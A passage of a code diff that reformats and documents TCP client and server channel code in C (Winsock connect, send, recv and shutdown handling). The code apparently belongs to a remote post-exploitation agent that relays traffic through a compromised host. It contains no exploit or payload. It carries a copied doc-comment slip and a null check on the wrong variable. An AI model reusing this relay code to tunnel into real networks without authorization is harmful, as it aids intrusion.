free(packet_filter);
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,86 +1,107 @@
|
||||
/*!
|
||||
* @file tcp.c
|
||||
* @brief Definitions for functionality that handles TCP client operations.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "tcp.h"
|
||||
|
||||
/*********************************
|
||||
* TCP Client Channel Operations *
|
||||
*********************************/
|
||||
|
||||
/*
|
||||
* Writes data from the remote half of the channel to the established connection.
|
||||
/*!
|
||||
* @brief Writes data from the remote half of the channel to the established connection.
|
||||
* @param channel Pointer to the channel to write to.
|
||||
* @param request Pointer to the request packet.
|
||||
* @param context Pointer to the channel's context.
|
||||
* @param buffer Buffer containing the data to write to the channel.
|
||||
* @param bufferSize Size of the buffer indicating how many bytes to write.
|
||||
* @param bytesWritten Pointer that receives the number of bytes written to the \c channel.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS writing the data completed successfully.
|
||||
*/
|
||||
DWORD tcp_channel_client_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
|
||||
DWORD tcp_channel_client_write(Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
TcpClientContext * ctx = NULL;
|
||||
LONG written = 0;
|
||||
LONG written = 0;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );
|
||||
dprintf("[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize);
|
||||
|
||||
ctx = (TcpClientContext *)context;
|
||||
if( !ctx )
|
||||
BREAK_WITH_ERROR( "[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE );
|
||||
if (!ctx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
written = send( ctx->fd, buffer, bufferSize, 0 );
|
||||
written = send(ctx->fd, buffer, bufferSize, 0);
|
||||
|
||||
if( written == SOCKET_ERROR )
|
||||
if (written == SOCKET_ERROR)
|
||||
{
|
||||
dwResult = WSAGetLastError();
|
||||
|
||||
if( dwResult == WSAEWOULDBLOCK )
|
||||
if (dwResult == WSAEWOULDBLOCK)
|
||||
{
|
||||
struct timeval tv = {0};
|
||||
fd_set set = {0};
|
||||
DWORD res = 0;
|
||||
struct timeval tv = { 0 };
|
||||
fd_set set = { 0 };
|
||||
DWORD res = 0;
|
||||
|
||||
dprintf( "[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again..." );
|
||||
dprintf("[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again...");
|
||||
|
||||
while( TRUE )
|
||||
while (TRUE)
|
||||
{
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 1000;
|
||||
|
||||
FD_ZERO( &set );
|
||||
FD_SET( ctx->fd, &set );
|
||||
FD_ZERO(&set);
|
||||
FD_SET(ctx->fd, &set);
|
||||
|
||||
res = select( 0, NULL, &set, NULL, &tv );
|
||||
if( res > 0 )
|
||||
res = select(0, NULL, &set, NULL, &tv);
|
||||
if (res > 0)
|
||||
{
|
||||
dwResult = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
else if( res == SOCKET_ERROR )
|
||||
else if (res == SOCKET_ERROR)
|
||||
{
|
||||
dwResult = WSAGetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
Sleep( 100 );
|
||||
Sleep(100);
|
||||
}
|
||||
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
if (dwResult == ERROR_SUCCESS)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
else
|
||||
dprintf( "[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult );
|
||||
{
|
||||
dprintf("[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult);
|
||||
}
|
||||
}
|
||||
|
||||
written = 0;
|
||||
dprintf( "[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult );
|
||||
dprintf("[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult);
|
||||
}
|
||||
|
||||
if( bytesWritten )
|
||||
if (bytesWritten)
|
||||
{
|
||||
*bytesWritten = written;
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
|
||||
dprintf( "[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written );
|
||||
dprintf("[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Closes the established connection and cleans up stale state
|
||||
/*!
|
||||
* @brief Closes the established connection and cleans up stale state.
|
||||
* @param channel Pointer to the channel to be closed.
|
||||
* @param request Pointer to the request packet.
|
||||
* @param context Pointer to the channel's context.
|
||||
* @returns indication of success or failure.
|
||||
* @retval ERROR_SUCCESS the channel was closed successfully.
|
||||
*/
|
||||
DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context)
|
||||
{
|
||||
@ -104,14 +125,18 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Callback for when there is data available on the local side of the TCP client connection
|
||||
/*!
|
||||
* @brief Callback for when there is data available on the local side of the TCP client connection.
|
||||
* @param remote Pointer to the remote that will receive the data.
|
||||
* @param ctx Pointer to the TCP client context.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS This value is always returned.
|
||||
*/
|
||||
DWORD tcp_channel_client_local_notify( Remote * remote, TcpClientContext * ctx )
|
||||
DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx)
|
||||
{
|
||||
struct timeval tv = {0};
|
||||
fd_set set = {0};
|
||||
UCHAR buf[16384] = {0};
|
||||
struct timeval tv = { 0 };
|
||||
fd_set set = { 0 };
|
||||
UCHAR buf[16384] = { 0 };
|
||||
LONG dwBytesRead = 0;
|
||||
|
||||
// We select in a loop with a zero second timeout because it's possible
|
||||
@ -121,83 +146,85 @@ DWORD tcp_channel_client_local_notify( Remote * remote, TcpClientContext * ctx )
|
||||
do
|
||||
{
|
||||
// Reset the notification event
|
||||
ResetEvent( ctx->notify );
|
||||
ResetEvent(ctx->notify);
|
||||
|
||||
FD_ZERO( &set );
|
||||
FD_SET( ctx->fd, &set );
|
||||
|
||||
tv.tv_sec = 0;
|
||||
FD_ZERO(&set);
|
||||
FD_SET(ctx->fd, &set);
|
||||
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
// Read data from the client connection
|
||||
dwBytesRead = recv( ctx->fd, buf, sizeof(buf), 0 );
|
||||
|
||||
if( dwBytesRead == SOCKET_ERROR )
|
||||
dwBytesRead = recv(ctx->fd, buf, sizeof(buf), 0);
|
||||
|
||||
if (dwBytesRead == SOCKET_ERROR)
|
||||
{
|
||||
DWORD dwError = WSAGetLastError();
|
||||
|
||||
|
||||
// WSAECONNRESET: The connection was forcibly closed by the remote host.
|
||||
// WSAECONNABORTED: The connection was terminated due to a time-out or other failure.
|
||||
if( dwError == WSAECONNRESET || dwError == WSAECONNABORTED )
|
||||
if (dwError == WSAECONNRESET || dwError == WSAECONNABORTED)
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_local_notify. [error] closing down channel gracefully. WSAGetLastError=%d", dwError );
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [error] closing down channel gracefully. WSAGetLastError=%d", dwError);
|
||||
// By setting bytesRead to zero, we can ensure we close down the channel gracefully...
|
||||
dwBytesRead = 0;
|
||||
}
|
||||
else if( dwError == WSAEWOULDBLOCK )
|
||||
else if (dwError == WSAEWOULDBLOCK)
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_local_notify. channel=0x%08X. recv generated a WSAEWOULDBLOCK", ctx->channel );
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. channel=0x%08X. recv generated a WSAEWOULDBLOCK", ctx->channel);
|
||||
// break and let the scheduler notify us again if needed.
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_local_notify. [error] channel=0x%08X read=0x%.8x (ignored). WSAGetLastError=%d", ctx->channel, dwBytesRead, dwError );
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [error] channel=0x%08X read=0x%.8x (ignored). WSAGetLastError=%d", ctx->channel, dwBytesRead, dwError);
|
||||
// we loop again because bytesRead is -1.
|
||||
}
|
||||
}
|
||||
|
||||
if( dwBytesRead == 0 )
|
||||
if (dwBytesRead == 0)
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead );
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead);
|
||||
|
||||
// Set the native channel operations context to NULL
|
||||
channel_set_native_io_context( ctx->channel, NULL );
|
||||
|
||||
channel_set_native_io_context(ctx->channel, NULL);
|
||||
|
||||
// Sleep for a quarter second
|
||||
Sleep( 250 );
|
||||
Sleep(250);
|
||||
|
||||
// Free the context
|
||||
free_tcp_client_context( ctx );
|
||||
free_tcp_client_context(ctx);
|
||||
|
||||
// Stop processing
|
||||
break;
|
||||
}
|
||||
else if( dwBytesRead > 0 )
|
||||
else if (dwBytesRead > 0)
|
||||
{
|
||||
if( ctx->channel )
|
||||
if (ctx->channel)
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead );
|
||||
channel_write( ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0 );
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead);
|
||||
channel_write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=<invalid> read=0x%.8x", dwBytesRead );
|
||||
dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=<invalid> read=0x%.8x", dwBytesRead);
|
||||
}
|
||||
}
|
||||
|
||||
} while( select( 1, &set, NULL, NULL, &tv ) > 0 );
|
||||
|
||||
} while (select(1, &set, NULL, NULL, &tv) > 0);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Allocates a streaming TCP channel
|
||||
*
|
||||
* TLVs:
|
||||
*
|
||||
* req: TLV_TYPE_HOST_NAME - The host to connect to
|
||||
* req: TLV_TYPE_PORT - The port to connect to
|
||||
/*!
|
||||
* @brief Allocates a streaming TCP channel.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @param packet Pointer to the request packet.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Opening of the channel succeeded.
|
||||
* @remarks The request packet needs to contain:
|
||||
* - \c TLV_TYPE_HOST_NAME - Host to connnect to.
|
||||
* - \c TLV_TYPE_PORT - Port to connnect to.
|
||||
*/
|
||||
DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
{
|
||||
@ -211,15 +238,19 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
{
|
||||
// No response packet?
|
||||
if (!response)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Extract the hostname and port that we are to connect to
|
||||
host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
|
||||
port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
|
||||
|
||||
|
||||
// Open the TCP channel
|
||||
if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Set the channel's identifier on the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
|
||||
@ -232,10 +263,14 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Creates a connection to a remote host and builds a logical channel to
|
||||
* represent it.
|
||||
*
|
||||
/*!
|
||||
* @brief Creates a connection to a remote host and builds a logical channel to represent it.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @param remoteHost The remote host to connect to.
|
||||
* @param remoteHost The remote port to connect to.
|
||||
* @param outChannel Pointer that will receive the newly created channel.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Creation of the TCP client was successful.
|
||||
*/
|
||||
DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remotePort, Channel **outChannel)
|
||||
{
|
||||
@ -247,9 +282,11 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
SOCKET clientFd = 0;
|
||||
|
||||
if (outChannel)
|
||||
{
|
||||
*outChannel = NULL;
|
||||
}
|
||||
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort);
|
||||
|
||||
do
|
||||
{
|
||||
@ -257,14 +294,13 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
if ((clientFd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
|
||||
{
|
||||
clientFd = 0;
|
||||
result = GetLastError();
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
s.sin_family = AF_INET;
|
||||
s.sin_port = htons(remotePort);
|
||||
s.sin_addr.s_addr = inet_addr(remoteHost);
|
||||
|
||||
s.sin_family = AF_INET;
|
||||
s.sin_port = htons(remotePort);
|
||||
s.sin_addr.s_addr = inet_addr(remoteHost);
|
||||
|
||||
// Resolve the host name locally
|
||||
if (s.sin_addr.s_addr == (DWORD)-1)
|
||||
@ -280,17 +316,22 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
memcpy(&s.sin_addr.s_addr, h->h_addr, h->h_length);
|
||||
}
|
||||
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d connecting...", remoteHost, remotePort);
|
||||
// Try to connect to the host/port
|
||||
if (connect(clientFd, (struct sockaddr *)&s, sizeof(s)) == SOCKET_ERROR)
|
||||
{
|
||||
result = GetLastError();
|
||||
#ifdef _WIN32
|
||||
result = WSAGetLastError();
|
||||
#else
|
||||
result = errno;
|
||||
#endif
|
||||
dprintf("[TCP] create client failed host=%s, port=%d error=%u 0x%x", remoteHost, remotePort, result, result);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d connected!", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d connected!", remoteHost, remotePort);
|
||||
// Allocate the client context for tracking the connection
|
||||
if (!(ctx = (TcpClientContext *)malloc( sizeof(TcpClientContext))))
|
||||
if (!(ctx = (TcpClientContext *)malloc(sizeof(TcpClientContext))))
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -300,80 +341,90 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
memset(ctx, 0, sizeof(TcpClientContext));
|
||||
|
||||
ctx->remote = remote;
|
||||
ctx->fd = clientFd;
|
||||
ctx->fd = clientFd;
|
||||
|
||||
// Initialize the channel operations structure
|
||||
memset(&chops, 0, sizeof(chops));
|
||||
|
||||
chops.native.context = ctx;
|
||||
chops.native.write = tcp_channel_client_write;
|
||||
chops.native.close = tcp_channel_client_close;
|
||||
chops.native.write = tcp_channel_client_write;
|
||||
chops.native.close = tcp_channel_client_close;
|
||||
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the channel", remoteHost, remotePort);
|
||||
// Allocate an uninitialized channel for associated with this connection
|
||||
if (!(channel = channel_create_stream(0, 0,&chops)))
|
||||
if (!(channel = channel_create_stream(0, 0, &chops)))
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
// Save the channel context association
|
||||
ctx->channel = channel;
|
||||
|
||||
// Finally, create a waitable event and insert it into the scheduler's
|
||||
// waitable list
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d creating the notify", remoteHost, remotePort);
|
||||
if ((ctx->notify = WSACreateEvent()))
|
||||
{
|
||||
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
|
||||
WSAEventSelect(ctx->fd, ctx->notify, FD_READ | FD_CLOSE);
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify);
|
||||
|
||||
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d all done", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d all done", remoteHost, remotePort);
|
||||
|
||||
// Clean up on failure
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d cleaning up failed connection", remoteHost, remotePort );
|
||||
dprintf("[TCP] create_tcp_client_channel. host=%s, port=%d cleaning up failed connection", remoteHost, remotePort);
|
||||
if (ctx)
|
||||
{
|
||||
free_tcp_client_context(ctx);
|
||||
}
|
||||
|
||||
if (clientFd)
|
||||
{
|
||||
closesocket(clientFd);
|
||||
}
|
||||
|
||||
channel = NULL;
|
||||
}
|
||||
|
||||
if (outChannel)
|
||||
{
|
||||
*outChannel = channel;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deallocates and cleans up the attributes of a socket context
|
||||
/*!
|
||||
* @brief Deallocates and cleans up the attributes of a socket context.
|
||||
* @ctx Pointer to the socket context to free.
|
||||
*/
|
||||
VOID free_socket_context(SocketContext *ctx)
|
||||
{
|
||||
dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx );
|
||||
dprintf("[TCP] free_socket_context. ctx=0x%08X", ctx);
|
||||
|
||||
// Close the socket and notification handle
|
||||
if (ctx->fd){
|
||||
if (ctx->fd)
|
||||
{
|
||||
closesocket(ctx->fd);
|
||||
ctx->fd = 0;
|
||||
}
|
||||
|
||||
if (ctx->channel) {
|
||||
|
||||
if (ctx->channel)
|
||||
{
|
||||
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
|
||||
ctx->channel = NULL;
|
||||
}
|
||||
|
||||
if (ctx->notify)
|
||||
{
|
||||
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
|
||||
dprintf("[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
|
||||
// The scheduler calls CloseHandle on our WSACreateEvent() for us
|
||||
scheduler_signal_waitable(ctx->notify, Stop);
|
||||
ctx->notify = NULL;
|
||||
@ -383,41 +434,53 @@ VOID free_socket_context(SocketContext *ctx)
|
||||
free(ctx);
|
||||
}
|
||||
|
||||
/*
|
||||
* Shuts the socket down for either reading or writing based on the how
|
||||
* parameter supplied by the remote side
|
||||
/*!
|
||||
* @brief Shuts the socket down for either reading or writing.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @param packet Pointer to the packet.
|
||||
* @remark The contents of the \c packet indicate whether to stop reading or writing.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS This value is always returned.
|
||||
*/
|
||||
DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = NULL;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = NULL;
|
||||
SocketContext * ctx = NULL;
|
||||
Channel * channel = NULL;
|
||||
DWORD cid = 0;
|
||||
DWORD how = 0;
|
||||
Channel * channel = NULL;
|
||||
DWORD cid = 0;
|
||||
DWORD how = 0;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
|
||||
response = packet_create_response( packet );
|
||||
if( !response )
|
||||
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
|
||||
dprintf("[TCP] entering request_net_socket_tcp_shutdown");
|
||||
response = packet_create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID );
|
||||
how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW );
|
||||
cid = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
|
||||
|
||||
channel = channel_find_by_id( cid );
|
||||
if( !response )
|
||||
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE );
|
||||
channel = channel_find_by_id(cid);
|
||||
if (!response)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid );
|
||||
dprintf("[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid);
|
||||
|
||||
ctx = channel_get_native_io_context( channel );
|
||||
if( !ctx )
|
||||
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE );
|
||||
ctx = channel_get_native_io_context(channel);
|
||||
if (!ctx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
if( shutdown( ctx->fd, how ) == SOCKET_ERROR )
|
||||
BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" );
|
||||
if (shutdown(ctx->fd, how) == SOCKET_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[TCP] request_net_socket_tcp_shutdown. shutdown failed");
|
||||
}
|
||||
|
||||
// sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will
|
||||
// catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags
|
||||
@ -425,11 +488,11 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
|
||||
// This avoids a double call (from two different threads) and subsequent access violation in some edge cases.
|
||||
//free_socket_context( ctx );
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
|
||||
dprintf("[TCP] leaving request_net_socket_tcp_shutdown");
|
||||
|
||||
dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -1,119 +1,146 @@
|
||||
/*!
|
||||
* @file tcp_server.c
|
||||
* @brief
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "tcp.h"
|
||||
|
||||
/*
|
||||
* Deallocates and cleans up the attributes of a tcp server socket context
|
||||
/*!
|
||||
* @brief Deallocates and cleans up the attributes of a tcp server socket context.
|
||||
* @param ctx Pointer to the context to free.
|
||||
*/
|
||||
VOID free_tcp_server_context( TcpServerContext * ctx )
|
||||
VOID free_tcp_server_context(TcpServerContext * ctx)
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !ctx )
|
||||
break;
|
||||
|
||||
dprintf( "[TCP-SERVER] free_tcp_server_context. ctx=0x%08X", ctx );
|
||||
|
||||
if( ctx->fd )
|
||||
if (!ctx)
|
||||
{
|
||||
closesocket( ctx->fd );
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[TCP-SERVER] free_tcp_server_context. ctx=0x%08X", ctx);
|
||||
|
||||
if (ctx->fd)
|
||||
{
|
||||
closesocket(ctx->fd);
|
||||
ctx->fd = 0;
|
||||
}
|
||||
|
||||
if( ctx->channel )
|
||||
|
||||
if (ctx->channel)
|
||||
{
|
||||
channel_close( ctx->channel, ctx->remote, NULL, 0, NULL );
|
||||
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
|
||||
ctx->channel = NULL;
|
||||
}
|
||||
|
||||
if( ctx->notify )
|
||||
if (ctx->notify)
|
||||
{
|
||||
scheduler_signal_waitable( ctx->notify, Stop );
|
||||
scheduler_signal_waitable(ctx->notify, Stop);
|
||||
ctx->notify = NULL;
|
||||
}
|
||||
|
||||
free( ctx );
|
||||
free(ctx);
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Closes the server socket and brings down the client connections.
|
||||
/*!
|
||||
* @brief Closes the server socket and brings down the client connections.
|
||||
* @param channel Pointer to the TCP channel to close.
|
||||
* @param request The request packet.
|
||||
* @param context The channel context.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS This value is always returned.
|
||||
*/
|
||||
DWORD tcp_channel_server_close( Channel * channel, Packet * request, LPVOID context )
|
||||
DWORD tcp_channel_server_close(Channel * channel, Packet * request, LPVOID context)
|
||||
{
|
||||
TcpServerContext * ctx = (TcpServerContext *)context;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf( "[TCP-SERVER] tcp_channel_server_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
dprintf("[TCP-SERVER] tcp_channel_server_close. channel=0x%08X, ctx=0x%08X", channel, ctx);
|
||||
|
||||
if( !ctx )
|
||||
if (!ctx)
|
||||
{
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
// Set the context channel to NULL so we don't try to close the
|
||||
// channel (since it's already being closed)
|
||||
ctx->channel = NULL;
|
||||
|
||||
// Free the context
|
||||
free_tcp_server_context( ctx );
|
||||
free_tcp_server_context(ctx);
|
||||
|
||||
// Set the native channel operations context to NULL
|
||||
channel_set_native_io_context( channel, NULL );
|
||||
channel_set_native_io_context(channel, NULL);
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Create a TCP client channel from a socket.
|
||||
/*!
|
||||
* @brief Create a TCP client channel from a socket.
|
||||
* @param serverCtx Pointer to the TCP server context.
|
||||
* @param sock The socket handle.
|
||||
* @returns Pointer to the newly created client context.
|
||||
*/
|
||||
TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverctx, SOCKET sock )
|
||||
TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx, SOCKET sock)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
TcpClientContext * clientctx = NULL;
|
||||
StreamChannelOps chops = {0};
|
||||
StreamChannelOps chops = { 0 };
|
||||
|
||||
do
|
||||
{
|
||||
if( !serverctx )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. serverctx == NULL", ERROR_INVALID_HANDLE );
|
||||
if (!serverCtx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. serverCtx == NULL", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
clientctx = (TcpClientContext *)malloc( sizeof(TcpClientContext) );
|
||||
if( !clientctx )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY );
|
||||
clientctx = (TcpClientContext *)malloc(sizeof(TcpClientContext));
|
||||
if (!clientctx)
|
||||
{
|
||||
BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
memset( clientctx, 0, sizeof(TcpClientContext) );
|
||||
memset(clientctx, 0, sizeof(TcpClientContext));
|
||||
|
||||
clientctx->remote = serverctx->remote;
|
||||
clientctx->fd = sock;
|
||||
